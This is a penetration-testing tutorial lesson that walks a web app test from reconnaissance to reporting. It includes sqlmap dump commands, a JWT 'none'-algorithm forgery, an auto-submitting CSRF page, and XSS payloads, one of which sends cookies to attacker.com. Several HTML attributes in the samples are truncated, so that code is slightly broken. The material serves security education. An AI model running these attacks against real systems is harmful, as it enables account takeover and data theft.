Skip to main content
Security Testing·Lesson 4 of 5

Penetration Testing

Penetration testing goes beyond scanning. You actively attempt to exploit vulnerabilities, simulating how a real attacker would compromise your application. This lesson walks through a complete web application penetration test.

Penetration Testing Methodology

A structured approach ensures thorough coverage:

Phase 1: Reconnaissance ──> Gather information passively
Phase 2: Enumeration    ──> Actively probe the target
Phase 3: Exploitation   ──> Attempt to exploit findings
Phase 4: Post-Exploit   ──> Assess impact, escalate access
Phase 5: Reporting      ──> Document everything

Phase 1: Reconnaissance

Gathering information about the target without directly interacting with it.

Passive Reconnaissance

# DNS enumeration
dig target-app.com ANY
dig target-app.com MX
dig target-app.com TXT

# Subdomain discovery with subfinder
subfinder -d target-app.com -o subdomains.txt

# Check for technology stack
# Use Wappalyzer browser extension or:
whatweb https://target-app.com

# Search for exposed secrets on GitHub
# Use trufflehog or GitHub search:
# "target-app.com" password OR secret OR api_key

# Check the Wayback Machine for old endpoints
curl "https://web.archive.org/cdx/search/cdx?url=target-app.com/*&output=text&fl=original&collapse=urlkey"

OSINT Gathering

# Collect email addresses associated with the domain
theHarvester -d target-app.com -b all -f harvest-report

# Check SSL certificate transparency logs
# https://crt.sh/?q=target-app.com
curl "https://crt.sh/?q=%.target-app.com&output=json" | \
  jq '.[].name_value' | sort -u

Phase 2: Enumeration

Active probing of the target to discover attack surfaces.

Directory and File Discovery

# Brute-force directory discovery with ffuf
ffuf -w /usr/share/wordlists/dirb/common.txt \
  -u https://target-app.com/FUZZ \
  -mc 200,301,302,403 \
  -o directories.json

# API endpoint discovery
ffuf -w /usr/share/wordlists/api-endpoints.txt \
  -u https://target-app.com/api/FUZZ \
  -mc 200,401,403,405 \
  -H "Content-Type: application/json"

# Common findings to look for:
# /admin          - Admin panels
# /api/docs       - API documentation
# /.git           - Exposed git repository
# /backup         - Backup files
# /wp-admin       - WordPress admin
# /.env           - Environment variables

Authentication Enumeration

import requests

target = "https://target-app.com"

# Test for username enumeration via login response differences
users_to_test = ["admin", "administrator", "test", "user"]
results = []

for user in users_to_test:
    response = requests.post(f"{target}/api/login", json={
        "username": user,
        "password": "definitely-wrong-password"
    })

    results.append({
        "user": user,
        "status": response.status_code,
        "length": len(response.text),
        "time": response.elapsed.total_seconds()
    })

# Compare response lengths and times
# Different lengths or times indicate the user exists
for r in results:
    print(f"User: {r['user']:20s} Status: {r['status']} "
          f"Length: {r['length']} Time: {r['time']:.3f}s")

Phase 3: Exploitation

Now you attempt to exploit discovered vulnerabilities.

Cross-Site Scripting (XSS)

// Reflected XSS payloads to test in input fields and URL parameters
const xssPayloads = [
  // Basic alert
  '<script>alert("XSS")</script>',

  // Event handler based
  '<img sr=x onerro=alert("XSS")>',

  // SVG based
  '<svg onloa=alert("XSS")>',

  // Bypassing basic filters
  '<ScRiPt>alert("XSS")</ScRiPt>',
  '<img sr=x onerro="alert(String.fromCharCode(88,83,83))">',

  // DOM-based XSS (check in browser console)
  'javascript:alert("XSS")',

  // Stored XSS in user profile fields
  '"><script>document.location="https://attacker.com/steal?c="+document.cookie</script>',
];

// If any payload executes, the application is vulnerable
// For stored XSS, the payload persists and affects other users

Cross-Site Request Forgery (CSRF)

<!-- Create a malicious page that performs actions on behalf of a logged-in user -->
<!DOCTYPE html>
<html>
<body>
  <h1>You won a prize!</h1>

  <!-- Hidden form that changes the user's email -->
  <form i="csrf-form" actio="https://target-app.com/api/settings" metho="POST" styl="display:none">
    <input typ="hidden" nam="email" valu="attacker@evil.com" />
  </form>

  <script>
    // Auto-submit when the victim visits this page
    document.getElementById('csrf-form').submit();
  </script>
</body>
</html>

<!-- If the target app does not verify a CSRF token,
     this form will change the victim's email address -->

Authentication Bypass

# JWT token manipulation
# 1. Decode the JWT (base64)
echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJ1c2VyIn0.signature" | \
  cut -d '.' -f 2 | base64 -d

# Output: {"user":"john","role":"user"}

# 2. Try changing the algorithm to "none"
# Header: {"alg":"none","typ":"JWT"}
# Payload: {"user":"john","role":"admin"}

# 3. Try with a blank signature
# eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9.

curl -H "Authorization: Bearer eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VyIjoiam9obiIsInJvbGUiOiJhZG1pbiJ9." \
  https://target-app.com/api/admin/users

SQL Injection Exploitation

# Using sqlmap for automated SQL injection
sqlmap -u "https://target-app.com/products?id=1" \
  --dbs \
  --batch \
  --risk=2 \
  --level=3

# Extract database tables
sqlmap -u "https://target-app.com/products?id=1" \
  -D target_db \
  --tables \
  --batch

# Extract specific data
sqlmap -u "https://target-app.com/products?id=1" \
  -D target_db \
  -T users \
  --dump \
  --batch

Phase 4: Post-Exploitation

After successful exploitation, assess the full impact.

Post-Exploitation Checklist:
[ ] What data can you access?
[ ] Can you escalate privileges?
[ ] Can you move laterally to other systems?
[ ] Can you persist your access?
[ ] What is the blast radius of this vulnerability?

Phase 5: Reporting

A penetration test is only valuable if the findings are clearly documented.

Finding Report Template:

Title: Stored XSS in User Profile Bio
Severity: High (CVSS 8.1)
OWASP Category: A03 - Injection

Description:
The user profile biography field does not sanitize HTML input,
allowing an attacker to inject arbitrary JavaScript that executes
when any user views the profile.

Steps to Reproduce:
1. Log in as any user
2. Navigate to Profile > Edit
3. In the Bio field, enter: <img src=x onerror=alert(document.cookie)>
4. Save the profile
5. View the profile in another browser session
6. The JavaScript executes, displaying the viewer's cookies

Impact:
An attacker can steal session tokens from any user who views
the malicious profile, leading to full account takeover.

Proof of Concept:
[Screenshot showing the alert with cookie data]

Remediation:
1. Implement output encoding for all user-generated content
2. Use a Content Security Policy to prevent inline script execution
3. Sanitize HTML input using a library like DOMPurify

Key Takeaways

  • Follow a structured methodology: recon, enumeration, exploitation, post-exploitation, reporting
  • Passive reconnaissance first -- you learn a lot before touching the target
  • Automated tools like sqlmap and ffuf accelerate testing but require human judgment
  • Always document findings with clear reproduction steps
  • The report is the deliverable -- a test without a report has no value

In the final lesson, you will learn how to automate security testing into your CI/CD pipeline for continuous protection.